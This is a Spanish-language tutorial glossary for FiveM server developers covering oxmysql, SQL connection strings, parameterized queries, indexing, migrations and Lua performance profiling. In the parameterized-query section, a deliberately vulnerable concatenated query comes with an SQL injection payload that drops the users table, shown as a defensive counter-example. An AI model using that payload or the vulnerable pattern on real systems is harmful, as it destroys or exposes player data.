oxmysql se instala como un recurso más dentro de resources/ y tiene que arrancar ANTES que cualquier recurso que toque la base de datos. Si tu recurso de economía carga primero, el objeto MySQL todavía no existe y te comes un nil en la primera consulta.

Para usar su API dentro de un recurso hay que importar su librería en el fxmanifest con server_script '@oxmysql/lib/MySQL.lua'. Ese arroba delante del nombre del recurso significa que el archivo se carga desde otro recurso. Sin esa línea, el global MySQL no existe en tu script, aunque oxmysql esté corriendo perfectamente.

Todo lo que hace oxmysql es de servidor. El cliente no toca SQL nunca, ni por casualidad, porque el cliente es código en la máquina del jugador y cualquiera puede reescribirlo. La base de datos solo se consulta y se modifica desde server_scripts, validando antes lo que llega del jugador.

Ejemplo · Importar oxmysql en el manifest y usarlo desde el servidor
-- fxmanifest.lua
fx_version 'cerulean'
game 'gta5'

-- Sin esta línea, MySQL es nil dentro de tu recurso
server_script '@oxmysql/lib/MySQL.lua'
server_scripts { 'server.lua' }

-- server.lua
RegisterNetEvent('mi_banco:consultarSaldo', function()
  local src = source
  local identifier = GetPlayerIdentifierByType(src, 'license')

  local saldo = MySQL.scalar.await(
    'SELECT money FROM users WHERE identifier = ?',
    { identifier }
  )

  TriggerClientEvent('mi_banco:mostrarSaldo', src, saldo or 0)
end)

En qué se equivoca todo el mundo

  • Olvidar server_script '@oxmysql/lib/MySQL.lua' en el fxmanifest y no entender por qué MySQL es nil.
  • Poner ensure oxmysql después de es_extended o de tus recursos en el server.cfg. El orden de carga manda.
  • Intentar llamar a MySQL desde un client_script. No existe ahí, y aunque existiera sería un agujero de seguridad.
mysql-async (obsoleto)ESXQBCore

El conector de base de datos antiguo de FiveM, junto a ghmattimysql. Ya no se mantiene y hoy se considera legacy. El estándar actual es oxmysql.

Durante años, mysql-async fue la única forma de hablar con MySQL desde FiveM. Su API se basa en callbacks anidados (MySQL.Async.fetchAll con una función de respuesta) y en parámetros con arroba, del estilo @identifier, en vez del interrogante. Funciona, pero está abandonado, es más lento y arrastra fallos que nadie va a arreglar.

El motivo real para migrar no es la moda, es que el ecosistema entero se ha movido. Los recursos modernos (ox_inventory, ox_target, la mayoría de scripts nuevos de ESX y QBCore) asumen oxmysql. Mantener mysql-async te deja fuera y te obliga a parchear cada recurso nuevo que instales.

Nunca arranques mysql-async y oxmysql a la vez. Los dos definen el objeto global MySQL, así que el que cargue después pisa al otro y acabas con la mitad de tus recursos hablando con un conector que no esperaban. Migra todo de golpe y quita el viejo del server.cfg.

Ejemplo · La misma consulta en mysql-async y en oxmysql
-- ANTES (mysql-async, obsoleto). Parámetros con @ y callback anidado.
MySQL.Async.fetchAll('SELECT * FROM users WHERE identifier = @id', {
  ['@id'] = identifier
}, function(result)
  print(result[1].name)
end)

-- AHORA (oxmysql) con callback
MySQL.query('SELECT * FROM users WHERE identifier = ?', { identifier }, function(result)
  print(result[1].name)
end)

-- AHORA (oxmysql) con await, dentro de un hilo. Mucho más legible.
local result = MySQL.query.await('SELECT * FROM users WHERE identifier = ?', { identifier })
print(result[1].name)

En qué se equivoca todo el mundo

  • Tener los dos conectores en el server.cfg. El global MySQL se sobreescribe y los fallos son imposibles de rastrear.
  • Migrar la sintaxis pero dejarse los @nombre en el SQL. Con oxmysql los huecos son ? y van en el mismo orden que la tabla de valores.
  • Convertir MySQL.Sync.fetchAll en un .await fuera de un hilo. El await necesita una corrutina para poder ceder.
cadena de conexión (connection string)

La línea del server.cfg que le dice a oxmysql dónde está tu base de datos y con qué credenciales entrar. Si está mal, oxmysql no arranca y todo lo que depende de la base de datos cae con él.

oxmysql acepta dos formatos. El de URI, con la forma usuario, contraseña, host y nombre de base, y el de pares clave-valor separados por punto y coma. Los dos valen. Elige uno y sé consistente. En los dos casos conviene terminar con charset=utf8mb4 para que las tildes viajen bien.

Un detalle que rompe a mucha gente. Si la contraseña de MySQL lleva caracteres especiales (arroba, almohadilla, barra, dos puntos) el formato URI se confunde, porque esos caracteres tienen significado dentro de la cadena. O los codificas en URL (la arroba se convierte en %40) o usas el formato de clave-valor, que no tiene ese problema.

La cadena es un secreto. Va en un secrets.cfg cargado con exec y ese archivo va al .gitignore. Un mysql_connection_string en un repositorio público es una invitación abierta a que alguien entre a tu base de datos, y si el puerto 3306 está expuesto, la aceptarán.

Un último orden que importa. El set de la convar debe estar en el cfg antes del ensure oxmysql, porque oxmysql lee la cadena al arrancar. Si la defines después, arranca sin credenciales y falla.

Ejemplo · Los dos formatos válidos y el orden correcto en server.cfg
# Formato URI (el más común)
set mysql_connection_string "mysql://fivem:mi_password@localhost/fivem?charset=utf8mb4"

# Formato clave-valor (mejor si la contraseña tiene caracteres raros)
set mysql_connection_string "server=localhost;user=fivem;password=mi@password;database=fivem;charset=utf8mb4"

# La convar SIEMPRE antes del ensure, y oxmysql antes que quien lo usa
ensure oxmysql
ensure es_extended
ensure mi_recurso

En qué se equivoca todo el mundo

  • Contraseña con arroba o almohadilla sin codificar dentro del formato URI. oxmysql lee mal el host y da error de conexión.
  • Definir la convar después del ensure oxmysql. El recurso arranca sin credenciales.
  • Apuntar a una base de datos que todavía no existe, o importar el .sql en otra base distinta a la de la cadena.
  • Subir el server.cfg con las credenciales a GitHub.
consulta parametrizada

Una consulta SQL donde los valores viajan aparte, en huecos marcados con ?, en vez de pegarse al texto de la consulta. Es la única defensa real contra la inyección SQL y no es opcional.

Cuando concatenas un dato del jugador dentro de una cadena SQL, ese dato deja de ser un dato y pasa a ser código. Si un jugador se pone de nombre algo que cierra tu comilla y añade su propia instrucción, tu servidor la ejecuta encantado. Ese es el mecanismo entero de la inyección SQL, y en FiveM se cobra bases de datos enteras cada semana.

Con el interrogante, el valor nunca se interpreta como SQL. oxmysql envía la consulta y los valores por separado, y el motor los trata siempre como texto literal. Da igual lo que escriba el jugador, no puede escapar de su hueco.

Dos matices que hay que conocer. El interrogante no se pone entre comillas, porque el escapado ya lo hace el conector (si escribes WHERE name = '?' lo estás rompiendo). Y el interrogante solo sirve para valores, nunca para nombres de tabla o de columna. Si necesitas que la columna sea dinámica, valídala contra una lista blanca escrita por ti, jamás contra lo que llegue del cliente.

Ejemplo · Concatenar es inyección. El interrogante es la forma correcta
-- MAL. El nombre viene del jugador y se pega al SQL. Inyección servida.
-- Si el jugador se llama  x'; DROP TABLE users; --  te quedas sin tabla.
local nombre = datosDelCliente.nombre
local mal = MySQL.query.await(
  "SELECT * FROM users WHERE name = '" .. nombre .. "'"
)

-- BIEN. El valor viaja como parámetro, nunca como código.
local bien = MySQL.query.await(
  'SELECT * FROM users WHERE name = ?',
  { nombre }
)

-- Varios huecos, en el mismo orden que la tabla de valores
MySQL.insert.await(
  'INSERT INTO vehicles (owner, plate, model) VALUES (?, ?, ?)',
  { identifier, matricula, modelo }
)

-- Búsqueda parcial. El % va en el VALOR, no en el SQL.
MySQL.query.await('SELECT * FROM users WHERE name LIKE ?', { '%' .. texto .. '%' })

En qué se equivoca todo el mundo

  • Poner el interrogante entre comillas, como WHERE name = '?'. Anula el mecanismo y rompe la consulta.
  • Escapar a mano con gsub o quitando comillas. Siempre se te escapa un caso, siempre.
  • Intentar parametrizar el nombre de la tabla o de la columna. Eso no se puede, hay que validarlo con una lista blanca.
  • Confiar en que el dato viene de tu NUI y no de un jugador. Cualquier evento de red se puede disparar a mano.
MySQL.query, single, scalar e insert

Los métodos de oxmysql según lo que esperas recibir. query devuelve todas las filas, single devuelve una fila, scalar devuelve un solo valor, insert devuelve el id creado y update devuelve cuántas filas cambiaron.

Elegir el método correcto no es cosmético, cambia lo que te llega. MySQL.query siempre devuelve una tabla de filas, incluso vacía si no hay resultados. MySQL.single devuelve directamente la primera fila (o nil), así que te ahorras el result[1]. MySQL.scalar devuelve el primer valor de la primera fila, ideal cuando solo quieres el saldo o un contador.

Para escribir, MySQL.insert devuelve el id autogenerado de la fila nueva, que es justo lo que necesitas para guardar la referencia del vehículo o del item que acabas de crear. MySQL.update devuelve el número de filas afectadas, y ese número es tu comprobación de que la operación hizo algo de verdad. Si un UPDATE de dinero devuelve 0 filas, no descuentes nada en el juego.

El error más silencioso de todos vive aquí. En Lua, una tabla vacía es verdadera. Si haces un MySQL.query y compruebas if result then para saber si hay resultados, esa condición se cumple SIEMPRE, aunque no haya ni una fila. Hay que comprobar el tamaño con #result > 0, o usar single, que sí devuelve nil cuando no encuentra nada.

Ejemplo · Cada método devuelve algo distinto. Elegir mal es la fuente de la mitad de los nil
-- query: TODAS las filas. Devuelve {} si no hay ninguna.
local coches = MySQL.query.await('SELECT plate, model FROM vehicles WHERE owner = ?', { identifier })
if #coches == 0 then return end  -- if coches then SIEMPRE es true. Cuidado.
for _, c in ipairs(coches) do print(c.plate, c.model) end

-- single: UNA fila, o nil
local user = MySQL.single.await('SELECT name, money FROM users WHERE identifier = ?', { identifier })
if not user then return end
print(user.name, user.money)

-- scalar: UN valor suelto
local saldo = MySQL.scalar.await('SELECT money FROM users WHERE identifier = ?', { identifier })

-- insert: devuelve el id creado
local id = MySQL.insert.await(
  'INSERT INTO vehicles (owner, plate, model) VALUES (?, ?, ?)',
  { identifier, 'CRX 4321', 'adder' }
)

-- update: devuelve filas afectadas. Si es 0, no cobró nadie.
local filas = MySQL.update.await(
  'UPDATE users SET money = money - ? WHERE identifier = ? AND money >= ?',
  { precio, identifier, precio }
)
if filas == 0 then return notificar(src, 'Saldo insuficiente') end

En qué se equivoca todo el mundo

  • Usar if result then con MySQL.query. Una tabla vacía es truthy en Lua, así que la comprobación no comprueba nada.
  • Usar query cuando solo esperas una fila y luego olvidarse del result[1], con el nil garantizado detrás.
  • Ignorar el valor que devuelve update. Si no compruebas las filas afectadas, puedes dar el coche sin haber cobrado.
await vs callback en oxmysql

Las dos formas de esperar una respuesta de la base de datos. Con .await el código sigue de arriba abajo y pausa solo el hilo actual. Con callback, la respuesta llega dentro de una función anidada.

El miedo clásico es pensar que .await bloquea el servidor. No lo hace. Lua en FiveM usa corrutinas, así que .await pausa únicamente el hilo que hizo la llamada, y el resto del servidor sigue atendiendo a todo el mundo mientras la base de datos responde. Lo que sí te ahorra es la pirámide de callbacks anidados que hace ilegible cualquier flujo con tres consultas seguidas.

Para poder pausar hace falta estar dentro de una corrutina. Eso significa dentro de un CreateThread, de un manejador de evento, de un comando o de un callback. Si pones un .await suelto en la raíz del script, en la primera línea del archivo, revienta con un error de yield fuera de corrutina. Ese es el único caso donde tienes que usar callback o envolverlo en CreateThread.

El otro punto que cuenta es el rendimiento. Un .await dentro de un bucle for de 200 jugadores son 200 viajes a la base de datos, uno detrás de otro. No congela el servidor, pero la operación tarda una eternidad. Cuando tengas que leer o escribir muchas filas, agrupa con un WHERE ... IN (?) o usa MySQL.transaction, que manda todo de una vez.

Ejemplo · Dónde puede vivir un .await y cómo no encadenar cientos
-- MAL. .await en la raíz del script, fuera de cualquier corrutina.
local users = MySQL.query.await('SELECT * FROM users')  -- error de yield

-- BIEN. Dentro de un hilo.
CreateThread(function()
  local users = MySQL.query.await('SELECT * FROM users')
  print('Usuarios cargados', #users)
end)

-- BIEN. Dentro de un evento (ya es una corrutina).
RegisterNetEvent('banco:retirar', function(cantidad)
  local src = source
  local saldo = MySQL.scalar.await('SELECT money FROM users WHERE identifier = ?', { idDe(src) })
  -- ...
end)

-- MAL. N consultas dentro de un bucle.
for _, id in ipairs(ids) do
  local row = MySQL.single.await('SELECT money FROM users WHERE id = ?', { id })
end

-- BIEN. Una sola consulta para todos.
local rows = MySQL.query.await('SELECT id, money FROM users WHERE id IN (?)', { ids })

En qué se equivoca todo el mundo

  • Llamar a .await en la raíz del script y ver un error de yield que no se entiende. Envuélvelo en CreateThread.
  • Creer que .await congela el servidor entero y llenar el código de callbacks anidados por miedo.
  • Encadenar .await dentro de un bucle grande. No bloquea, pero multiplica los viajes a la base de datos.
índice de base de datos

Una estructura que permite a MySQL encontrar filas sin leer la tabla entera. Es la optimización más barata y de mayor impacto que vas a hacer en tu servidor.

Sin índice, MySQL hace un full table scan. Lee fila por fila toda la tabla para encontrar las que coinciden. Con 50 vehículos no lo notas. Con 200.000, cada consulta del garaje tarda cientos de milisegundos y el hilo del servidor se queda esperando. Un índice funciona como el índice alfabético de un libro, va directo a la página en vez de leerlo entero.

La regla es simple. Indexa las columnas por las que filtras (el WHERE) y por las que unes tablas (el ON de un JOIN). En un servidor de rol eso significa identifier, citizenid y owner casi siempre. Un índice compuesto sobre varias columnas sirve para su prefijo, así que un índice (owner, stored) ayuda a WHERE owner = ? AND stored = ? y también a WHERE owner = ? solo, pero no a WHERE stored = ? solo.

Los índices no son gratis. Cada uno ocupa espacio y hace un poco más lentos los INSERT y los UPDATE, porque hay que mantenerlo. Indexa lo que filtras de verdad, no todas las columnas por si acaso. Y para saber si tu consulta lo está usando, no adivines. Pon EXPLAIN delante y mira la columna type. Si dice ALL, es un escaneo completo y falta índice.

Ejemplo · Índice compuesto y cómo comprobar con EXPLAIN que se usa
-- La consulta del garaje filtra por dueño y por si está guardado
CREATE INDEX idx_owner_stored ON vehicles (owner, stored);

-- ¿Lo está usando? EXPLAIN te lo dice sin ejecutar la consulta de verdad.
EXPLAIN SELECT plate FROM vehicles WHERE owner = 'license:abc' AND stored = 1;

-- type = ALL      -> escaneo completo, falta índice (mal)
-- type = ref      -> está usando el índice (bien)
-- key             -> qué índice eligió
-- rows            -> cuántas filas estima leer. Menos es mejor.

-- El identifier debe ser único, y UNIQUE también indexa
ALTER TABLE users ADD UNIQUE KEY uniq_identifier (identifier);

En qué se equivoca todo el mundo

  • No indexar identifier ni owner. Es el motivo nº1 de que un servidor con muchos jugadores se arrastre al hacer login.
  • Indexar todas las columnas por si acaso. Cada índice penaliza las escrituras y ocupa disco.
  • Poner el índice compuesto en el orden equivocado. El prefijo manda, y un índice (stored, owner) no ayuda a filtrar solo por owner.
Relacionado migración SQL, consulta parametrizada, ms por recurso
migración SQL

Un fichero .sql numerado que aplica un cambio al esquema de la base de datos (una tabla nueva, una columna nueva). Guardarlas en Git es lo que permite reconstruir la base desde cero y saber qué se cambió y cuándo.

Tu esquema evoluciona. Hoy añades una columna level, mañana una tabla factions. Si esos cambios los haces a mano en phpMyAdmin y no los escribes en ninguna parte, la base de datos de tu servidor de pruebas y la de producción se separan poco a poco, hasta que un recurso funciona en una y revienta en la otra sin explicación.

El formato es aburrido a propósito. Ficheros numerados (0001_init.sql, 0002_add_vehicles.sql, 0003_add_level.sql) aplicados en orden. Idempotentes, con CREATE TABLE IF NOT EXISTS y ADD COLUMN IF NOT EXISTS, para que volver a pasarlos no rompa nada. E inmutables, es decir, una migración ya aplicada en producción no se edita nunca, se crea otra nueva encima.

Antes de tocar producción, backup. Siempre. Un mysqldump tarda treinta segundos y es lo único que hay entre tú y perder la economía entera del servidor cuando un DROP COLUMN se lleva por delante lo que no debía. Los cambios destructivos no se deshacen.

Ejemplo · Migración aditiva, idempotente y con backup previo
-- 0003_add_level.sql
-- Aditivo y con IF NOT EXISTS, así que se puede volver a ejecutar sin miedo.
ALTER TABLE users
  ADD COLUMN IF NOT EXISTS level INT NOT NULL DEFAULT 1;

CREATE TABLE IF NOT EXISTS factions (
  id INT NOT NULL AUTO_INCREMENT,
  name VARCHAR(60) NOT NULL,
  owner VARCHAR(60) NOT NULL,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (id),
  UNIQUE KEY uniq_name (name),
  INDEX idx_owner (owner)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- Antes de aplicar esto en producción, en la terminal:
--   mysqldump -u fivem -p fivem > backup_2026_07_12.sql

En qué se equivoca todo el mundo

  • Editar una migración que ya se aplicó en producción. El historial es inmutable, crea una nueva.
  • Ejecutar un DROP COLUMN o un DROP TABLE sin backup. Los datos no vuelven.
  • Cambiar el esquema a mano en phpMyAdmin y no dejar rastro. En dos semanas nadie sabe por qué producción tiene una columna que el repositorio no.
HeidiSQL y phpMyAdmin

Los clientes gráficos con los que se mira y se toca la base de datos a mano. HeidiSQL es una aplicación de Windows, phpMyAdmin es una web (viene con XAMPP y con la mayoría de paneles de hosting).

Sirven para lo mismo. Ver las tablas, ejecutar el .sql que trae un recurso al instalarlo, revisar por qué a un jugador no le carga el inventario y exportar un backup antes de una migración. HeidiSQL suele ser más cómodo si trabajas en Windows, phpMyAdmin gana cuando la base está en un VPS y solo tienes navegador. DBeaver y TablePlus hacen lo mismo y son multiplataforma.

Con phpMyAdmin hay un riesgo real que mucha gente ignora. Si lo dejas accesible desde internet sin protección extra, cualquiera puede intentar entrar a fuerza bruta a tu base de datos. O lo cierras detrás de una VPN o de una IP permitida, o lo desinstalas del servidor de producción y usas un túnel SSH.

Y el error que más daño hace, con diferencia. Editar a mano la fila de un jugador que está conectado. El servidor tiene los datos de ese jugador en memoria y, cuando se desconecte, los va a volcar sobre lo que tú acabas de escribir. Tu cambio desaparece y no entiendes por qué. Si tocas a un jugador a mano, que esté desconectado.

Ejemplo · Lo que hacen los botones de importar y exportar, por debajo
# Backup completo antes de tocar nada (esto es lo que exporta el botón "Exportar")
mysqldump -u fivem -p fivem > backup_2026_07_12.sql

# Restaurar ese backup en la base de datos
mysql -u fivem -p fivem < backup_2026_07_12.sql

# Importar el .sql que trae un recurso al instalarlo
mysql -u fivem -p fivem < resources/ox_inventory/setup/inventory.sql

En qué se equivoca todo el mundo

  • Editar la fila de un jugador conectado. Al desconectarse, el servidor sobreescribe tu cambio con lo que tenía en memoria.
  • Dejar phpMyAdmin expuesto a internet con credenciales flojas.
  • Importar el .sql de un recurso en la base equivocada y luego no entender por qué el recurso no encuentra sus tablas.
tabla users / playersESXQBCoreQbox

La tabla central de todo servidor de rol. En ESX se llama users y la clave es el identifier. En QBCore y Qbox se llama players y la clave es el citizenid. Todo lo demás cuelga de ahí.

Esa tabla guarda la identidad económica del jugador. En ESX, la fila de users tiene el identifier, el nombre, el trabajo, el grado y las cuentas (dinero, banco, dinero sucio) normalmente en una columna JSON. En QBCore, la fila de players tiene el citizenid, la license, y columnas JSON para charinfo, money, job, gang y metadata.

La columna clave (identifier o citizenid) es la que usa el resto del servidor para relacionar todo. Los vehículos tienen un owner que apunta a ella, el inventario tiene un dueño que apunta a ella, las propiedades igual. Por eso tiene que ser UNIQUE y estar indexada. Y por eso borrar una fila a mano deja huérfanos por media base de datos, coches sin dueño que nadie puede sacar del garaje.

Sobre el identifier en sí, un aviso. En FiveM un jugador tiene varios identificadores (license, steam, discord, fivem) y no todos existen siempre. Si el jugador no tiene Steam abierto, no hay identificador de Steam. Por eso el estándar hoy es license, que existe siempre porque lo emite Cfx.re. Construir tu servidor sobre el identificador de Steam es garantizarte soporte todos los días.

Ejemplo · La tabla central de ESX y la de QBCore, y sus claves
-- ESX (simplificado). La clave es identifier.
CREATE TABLE IF NOT EXISTS users (
  identifier VARCHAR(60) NOT NULL,
  accounts   LONGTEXT,               -- JSON: money, bank, black_money
  job        VARCHAR(20) DEFAULT 'unemployed',
  job_grade  INT DEFAULT 0,
  inventory  LONGTEXT,               -- JSON
  PRIMARY KEY (identifier)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

-- QBCore (simplificado). La clave de negocio es citizenid.
CREATE TABLE IF NOT EXISTS players (
  id        INT NOT NULL AUTO_INCREMENT,
  citizenid VARCHAR(50) NOT NULL,
  license   VARCHAR(60) NOT NULL,
  charinfo  LONGTEXT,                -- JSON
  money     LONGTEXT,                -- JSON
  job       LONGTEXT,                -- JSON
  metadata  LONGTEXT,                -- JSON
  PRIMARY KEY (id),
  UNIQUE KEY uniq_citizenid (citizenid),
  INDEX idx_license (license)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

En qué se equivoca todo el mundo

  • Usar el identificador de Steam como clave. Si el jugador entra sin Steam, no existe y el login falla.
  • Borrar filas de users a mano sin limpiar vehicles, propiedades o inventario. Quedan huérfanos imposibles de rastrear.
  • No poner UNIQUE en identifier o citizenid. Un duplicado ahí duplica el dinero del jugador.
JSON en columnasESXQBCoreQboxox

La costumbre de guardar estructuras enteras (inventario, cuentas, metadata) codificadas como texto JSON dentro de una sola columna. Es cómodo para leer y escribir de golpe, y es un desastre si necesitas buscar por dentro.

ESX guarda las cuentas y el inventario como JSON en users. QBCore guarda charinfo, money, job y metadata como JSON en players. Funciona porque el flujo natural es cargar todo el bloque al entrar el jugador, trabajar con él en memoria y volcarlo entero al salir. Una lectura, una escritura, cero complicaciones.

El problema aparece cuando quieres preguntarle algo a la base de datos sobre lo que hay dentro del JSON. Por ejemplo, todos los jugadores que tienen un item concreto. Un LIKE con comodines sobre un blob de texto no usa índice, lee la tabla entera y además da falsos positivos. Si un dato lo vas a buscar, filtrar u ordenar, no es JSON, es una columna propia o una tabla propia. Por eso ox_inventory se lleva los inventarios a su propia estructura en vez de dejarlos dentro de users.

Y hay un límite práctico que la gente descubre tarde. Ese JSON se lee entero en cada login y se escribe entero en cada guardado. Un inventario que crece sin control, con miles de entradas, convierte el login en una operación pesada y el autosave en una tormenta de escrituras. Pon un tope al tamaño de lo que guardas.

Ejemplo · El ciclo decode / encode y por qué no se busca dentro del JSON
-- Leer, decodificar, tocar y volver a guardar. El ciclo normal.
local row = MySQL.single.await('SELECT accounts FROM users WHERE identifier = ?', { identifier })
if not row then return end

local accounts = json.decode(row.accounts) or {}
accounts.bank = (accounts.bank or 0) + 500

MySQL.update.await(
  'UPDATE users SET accounts = ? WHERE identifier = ?',
  { json.encode(accounts), identifier }
)

-- MAL. Buscar dentro del JSON con LIKE. Lee la tabla entera y da falsos positivos.
MySQL.query.await("SELECT identifier FROM users WHERE inventory LIKE '%water%'")

-- BIEN. Si lo vas a buscar, que sea su propia tabla, con índice.
--   CREATE TABLE player_items (owner VARCHAR(60), item VARCHAR(50), count INT,
--     INDEX idx_owner (owner), INDEX idx_item (item));
MySQL.query.await('SELECT owner FROM player_items WHERE item = ?', { 'water' })

En qué se equivoca todo el mundo

  • Filtrar con LIKE dentro de un JSON. Sin índice, con la tabla entera leída y con falsos positivos de regalo.
  • Olvidar el json.decode y tratar la columna como si ya fuera una tabla de Lua. El nil llega en la línea siguiente.
  • Dejar que el JSON crezca sin límite. Cada login lee ese bloque entero y cada guardado lo reescribe.
Relacionado tabla users / players, índice de base de datos, oxmysql

Rendimiento

Por qué va a tirones y cómo medirlo.

hitch

Un parón momentáneo del servidor o del cliente, de decenas o cientos de milisegundos, en el que todo se congela. Es lo que los jugadores llaman tirones, y el motor los avisa por consola con un hitch warning.

Un hitch no es lag de red. El ping puede estar perfecto y aun así los coches se teletransportan y las animaciones se saltan. Lo que ha pasado es que un frame ha tardado mucho más de lo que debía, porque algún script se ha puesto a hacer trabajo pesado y no ha soltado el hilo hasta terminar.

En FiveM el código Lua es cooperativo. Nadie interrumpe a nadie. Cuando tu bucle se pone a calcular, el motor espera educadamente a que termines. Si tardas 200 ms, el servidor entero ha estado 200 ms parado para todos los jugadores a la vez. Por eso un solo recurso mal escrito puede tirar abajo la experiencia de sesenta personas.

La causa casi siempre es una de tres. Un bucle sin Wait que nunca cede. Una operación cara ejecutada cada frame (dibujar, recorrer todas las entidades, decodificar un JSON gigante). O una consulta a la base de datos hecha dentro de un bucle, multiplicada por el número de jugadores. Culpar al VPS o al ping antes de mirar el resmon es perder la tarde.

Ejemplo · Los avisos del motor. El nombre del recurso ya te está diciendo dónde mirar
# Lo que ves en la consola del servidor cuando algo bloquea el hilo
hitch warning: frame time of 187 milliseconds
hitch warning: frame time of 240 milliseconds

# Y el aviso que señala al culpable con nombre y apellidos
[script:mi_recurso] Warning: Resource mi_recurso is taking too long to execute
Warning: Script mi_recurso took too long to execute (150ms)

# Primer paso, siempre el mismo: abrir F8 en el cliente y mirar quién gasta
resmon 1

En qué se equivoca todo el mundo

  • Achacar los tirones al hosting o al ping de los jugadores sin haber abierto el resmon ni una vez.
  • Ignorar los hitch warnings pequeños. Se acumulan, y a sesenta jugadores se notan todos.
  • Reiniciar el servidor cada hora como parche en vez de encontrar el bucle que lo provoca.
script took too long

El aviso que suelta el motor cuando un recurso se pasa del tiempo que tiene asignado para ejecutar su tick. Es el mensaje más útil de FiveM, porque te dice el nombre del culpable.

El motor le da a cada recurso una ventana de tiempo para hacer lo suyo en cada tick. Si tu script se la come entera y sigue trabajando, el motor lo avisa. No es un error que rompa nada de inmediato, es una advertencia de que ese recurso está robando tiempo al resto del servidor.

La causa número uno, con mucha diferencia, es un while true do sin Wait dentro. Sin el Wait, el bucle no cede nunca el control y el motor no puede seguir. La causa número dos es una operación cara dentro de un bucle rápido, del tipo recorrer todos los jugadores, decodificar un JSON grande o lanzar una consulta a la base de datos en cada iteración.

Lo bueno de este aviso es que no hay que adivinar. El mensaje trae el nombre del recurso. Abre ese recurso, busca while y CreateThread, y comprueba que todos los bucles tienen su Wait y que el trabajo pesado está condicionado a que haga falta de verdad.

Ejemplo · El bucle que provoca el aviso, y las dos formas de arreglarlo
-- MAL. Sin Wait, el bucle no cede nunca. Hitch garantizado.
CreateThread(function()
  while true do
    local pos = GetEntityCoords(PlayerPedId())
    comprobarZonas(pos)
  end
end)

-- MENOS MAL. Cede cada frame, pero sigue trabajando 60 veces por segundo.
CreateThread(function()
  while true do
    Wait(0)
    local pos = GetEntityCoords(PlayerPedId())
    comprobarZonas(pos)
  end
end)

-- BIEN. Cede de verdad y solo trabaja cuando hace falta.
CreateThread(function()
  while true do
    local pos = GetEntityCoords(PlayerPedId())
    local sleep = 1000
    if estaCercaDeAlgunaZona(pos) then
      sleep = 0
      comprobarZonas(pos)
    end
    Wait(sleep)
  end
end)

En qué se equivoca todo el mundo

  • Poner el Wait dentro de un if, de modo que hay ramas del bucle que no ceden nunca.
  • Poner el Wait después de un return o de un break, así que en la práctica no se ejecuta.
  • Silenciar el aviso o ignorarlo por ser solo una advertencia. Es exactamente la pista que necesitas.
resmon

El monitor de recursos integrado de FiveM. Se abre desde la consola del cliente (F8) y muestra en vivo cuánta CPU y cuánta memoria consume cada recurso. Es la herramienta número uno para encontrar al culpable del lag.

El comando es resmon, y resmon 1 muestra además el detalle. La columna que importa es la de milisegundos por frame, no la de memoria. Un recurso puede ocupar 40 MB de RAM y no molestar a nadie, mientras que otro de 2 MB que se ejecuta cada frame se está comiendo tu servidor él solo.

El dato más revelador no es el pico, es el consumo en reposo. Un recurso bien escrito gasta prácticamente 0 ms cuando no pasa nada. Si tu script de tiendas marca 0.80 ms y no hay nadie en ninguna tienda, ese script está corriendo en bucle sin razón. Ese número, medido con el servidor tranquilo, es el que te dice a quién hay que meterle mano.

Y la regla de oro, mide antes y después. Anota los ms del recurso, aplica un cambio, vuelve a mirar. Si el número no ha bajado, el cuello de botella estaba en otro sitio y acabas de perder el tiempo optimizando lo que no era. Para el lado servidor, además del resmon del cliente, tienes el profiler integrado, que graba unos cuantos ticks y te deja verlos con detalle.

Ejemplo · Comandos del monitor y qué significa cada color
# En el cliente, consola con F8
resmon        # monitor de recursos
resmon 1      # modo detallado

# Columnas
#   CPU msec  -> milisegundos por frame. LA importante.
#   Time (%)  -> porcentaje del frame que se lleva
#   Memory    -> RAM. Interesante, pero no es la que causa tirones.

# Colores
#   verde   < 0.50 ms   sobrado
#   amarillo  ~1.00 ms  vigílalo
#   rojo    > 1.00 ms   hay que optimizarlo

# En el servidor, profiler integrado
profiler record 500
profiler save perfil.json

En qué se equivoca todo el mundo

  • Mirar la columna de memoria y no la de milisegundos. La RAM no provoca tirones, el tiempo de CPU sí.
  • Medir solo con el servidor lleno de acción. El derroche se ve en reposo, cuando un recurso gasta sin que nadie lo use.
  • Optimizar a ojo sin anotar el antes. Sin número previo no sabes si tu cambio ha servido de algo.
ms por recurso

Los milisegundos de CPU que consume un recurso en cada frame. Es la métrica que de verdad importa en FiveM, muy por encima del tamaño del recurso o de su consumo de RAM.

El presupuesto es limitado y no lo pones tú. A 60 fps hay algo más de 16 ms para dibujar cada frame, y la mayoría se la lleva el propio GTA V. Lo que queda es lo que se reparten todos tus recursos juntos. Cuando la suma se pasa, no se puede terminar el frame a tiempo y los FPS caen.

La trampa está en la suma. Un recurso a 0.30 ms parece inofensivo, y lo es. Pero cuarenta recursos a 0.30 ms son 12 ms, y ahí ya te has comido el presupuesto entero tú solo. Por eso el objetivo no es que ninguno esté en rojo, es que la mayoría estén cerca de cero cuando no se usan.

Los umbrales prácticos son estos. Por debajo de 0.50 ms, bien. Alrededor de 1.00 ms, vigílalo. Por encima de 1.00 ms en reposo, ese recurso tiene un bucle mal hecho y hay que abrirlo. Y una advertencia, los ms dependen del hardware del cliente, así que no compares números medidos en tu PC con los de un jugador que va justo. Compara siempre el mismo recurso consigo mismo, antes y después de tu cambio.

Ejemplo · Lo que dice el resmon en reposo. Los dos de arriba son los sospechosos
# Una lectura típica de resmon, con el servidor en reposo (nadie usando nada)

RESOURCE          CPU msec   MEM
es_extended         0.02     8.1 MB
oxmysql             0.00     4.3 MB
ox_lib              0.01     2.0 MB
mi_tienda           0.94    1.1 MB     <- rojo en REPOSO. Bucle sin condicionar.
mi_hud              0.61    3.2 MB     <- dibuja cada frame aunque no cambie nada
ox_target           0.03     1.8 MB

# mi_tienda gasta casi 1 ms sin que nadie esté en una tienda.
# Ese es el recurso que hay que abrir primero.

En qué se equivoca todo el mundo

  • Aceptar 0.80 ms en reposo porque es solo un recurso. Son cuarenta recursos y la suma es lo que te tira los FPS.
  • Juzgar el rendimiento por el tamaño del recurso en disco. No tiene nada que ver.
  • Comparar los ms de tu PC con los de un jugador con otro hardware. Compara cada recurso consigo mismo.
bucle sin Wait (el error nº1)

Un while true do que no cede el control al motor, o que lo cede cada frame para hacer trabajo caro que casi nunca hace falta. Es la causa del 90% de los servidores que van a tirones.

